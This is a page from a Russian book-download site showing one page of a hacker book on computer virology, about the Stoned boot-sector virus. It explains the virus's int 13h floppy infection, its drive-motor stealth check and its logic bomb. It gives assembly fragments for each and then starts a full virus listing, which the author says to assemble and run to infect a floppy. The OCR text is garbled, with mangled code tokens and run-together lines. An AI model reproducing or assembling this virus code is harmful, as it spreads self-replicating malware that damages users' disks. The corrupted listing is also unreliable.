Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 66 67 68 69 70 71 < 72 > 73 74 75 76 77 78 .. 123 >> Следующая

процесс!
Инфицирование дискет
Вирус Stoned не инфицирует дискеты в загрузочное время. Он инфицирует их,
когда получает доступ и инсталлируется в память с помощью обработчика
прерывания 13Н. Обработчик прерывания 13Н перехватывает все попытки
чтения с дискет или записи на дискеты. При этом вирус использует фильтр и
определяет, когда ему нужно активизировать свою деятельность. Этот фильтр
выглядит так:
077
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
СМР АН,2 ;ищет функции 2 и 3
JB GGTOJ3IOS ;в ином случае идет к обработчику BIOS int 13 СМР АН ,4 JNB
GOTO_BIOS OR DL.DL ;мы читаем диск О?
JNE GOTO_BIOS ;нет, переходим к обработчику BIOS int 13
GOTO_BIOS:
JMP DWORD PTR CS:[OLD_INT13] ;прыжок к старой int 13
Когда вирус активируется, процесс инфицирования похож на заражение
жесткого диска. Вирус загружает существующий загрузочный сектор и
проверяет, заражена дискета или нет.
Если нет, вирус копирует копию оригинального загрузочного сектора в трек
0, головку 1, сектор 3, а себя переносит в трек О, головку 0, сектор 1.
Естественно, при инфицировании дискет вирусу Stoned не нужно копировать в
себя Таблицу разделов.
Вирус Stoned может столкнуться с большой проблемой. Пусть пользователь
выполняет программу, называемую CALC, которая хранится в виде ЕХЕ-файла в
пяти последних треках дискеты. Когда он читает ее с диска DOS, каждый
вызов к int 13h, совершаемый DOS, перехватывается вирусом.
Наш "зверек" обнюхивает загрузочный сектор и решает, заражена ли дискета.
Обычно int 13h вызывается часто при загрузке крупных программ. Осмотр от
трека 0 до конца диска заставляет дискету жужжать и замедляет процесс
загрузки CALC.EXE. Пользователь начинает волноваться. Излишняя активность
вируса вызывает излишние подозрения.
Stoned решает эту проблему, добавляя еще одно условие перед чтением
загрузочного сектора дискеты: он проверяет, включен ли мотор драйва. Это
легко выполнимо, потому что статус дисковых моторов сохраняется в байте
0000:043FH. Биты 0-3 этого байта соответствуют дисководам 0-3. Если бит-
1, мотор включен. Вот код для этой проверки:
070
ГЛАВА 6. Инфицирование загрузочного сектора
MOV AL,DS:[MOTOR_STATUS] ;статус дискового мотора TEST AL.1 ;мотор
диска 0 работает?
JNZ GOTO_BIOS ;да, пусть им управляет BIOS CALL INFECT_FLOPFY ;перейти к
инфицированию дискеты в А:
Как видите, инфицирование производится только в том случае, если дисковый
мотор отключен. То есть, если вы загружаете программу CALC.EXE, вирус
активируется почти тут же - когда первый сектор будет прочитан. И эта
активность окажется почти незаметной.
Логическая бомба
Stoned - это вирус, заряженный логической бомбой. Логическая бомба
является куском кода, который при определенных условиях делает нечто
неожиданное или разрушительное. Логическая бомба в Stoned у кого-то
вызывает раздражение, у кого-то смех.
Когда загрузка производится с дискеты, Stoned один раз из восьми запусков
показывает сообщение "Your PC is now Stoned!" - "Ваш ПК заражен вирусом
Stoned.
Это выполняется с помощью тестирования 3 младших битов в младшем байте
внутреннего таймера компьютера. Этот байт хранится 0000:046СН и
инкрементируется аппаратным таймером примерно 18.9 раз в секунду.
Если все три младших бита равны нулю, вирус выдает сообщение. В ином
случае он проводит обычный процесс загрузки.
Код для логической бомбы выглядит примерно так:
test BYTE PTR es:rTIMER],7 ;проверка 3 младших битов jnz MESSAGE_DONE ;не
ноль, пропустить сообщение (MESSAGE DISPLAY ROUTINE)
MESSAGE_DONE:
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Листинг Stoned
Следующий код нужно ассемблировать в ЕХЕ-файл. Будучи выполненным под
DOS, он загрузит вирус Stoned в диск А:. Будьте внимательны и удалите
дискету после загрузки. Если вы не сделаете этого, то при рестарте
компьютера ваш жесткий диск также будет заражен!
Как вы увидите, дизайн загрузчика отличается от вируса Kilroy. Вирус
создан так, чтобы начало загрузочного сектора находилось в офсете 0, а не
в обычном 7С00Н. Дальний прыжок в начале Stoned подстраивает cs к 07СОН
так, чтобы вирус мог выполняться в стартовом офсете 0.
Прошу заметить, что некоторые ссылки данных после START3 имеют
добавленный к ним 7С00Н. Это сделано по той причине, что сегмент данных
не равен сегменту кода (ds-0). Но как только вирус прыгает в верхнюю
память, все синхронизируется и данные адресуются нормально.
Вирус Stoned зарекомендовал себя одним из самых удачных вирусов в мире.
int13_Off EQU 0004СН ;локация прерывания 13Н int13_Seg EQU 0004ЕН
.model small .code
Следующие три определения являются данными BIOS, которые будут
использоваться вирусом.
ORG 41ЗН
MEM_SIZE DW ? '.размер памяти в килобайтах ORG 43FH
МОТОR STATUS DB ? ;статус мотора дисковода ORG 46СН
TIMER DD ? ;55 миллисекунд таймера компьютера
ORGO
ЛПП
ГЛАВА 6. Инфицирование загрузочного сектора
Это Stoned - вирус загрузочного сектора. Первый дальний прыжок
подстраивает cs, чтобы вирус работал правильно с начального офсета 0, а
Предыдущая << 1 .. 66 67 68 69 70 71 < 72 > 73 74 75 76 77 78 .. 123 >> Следующая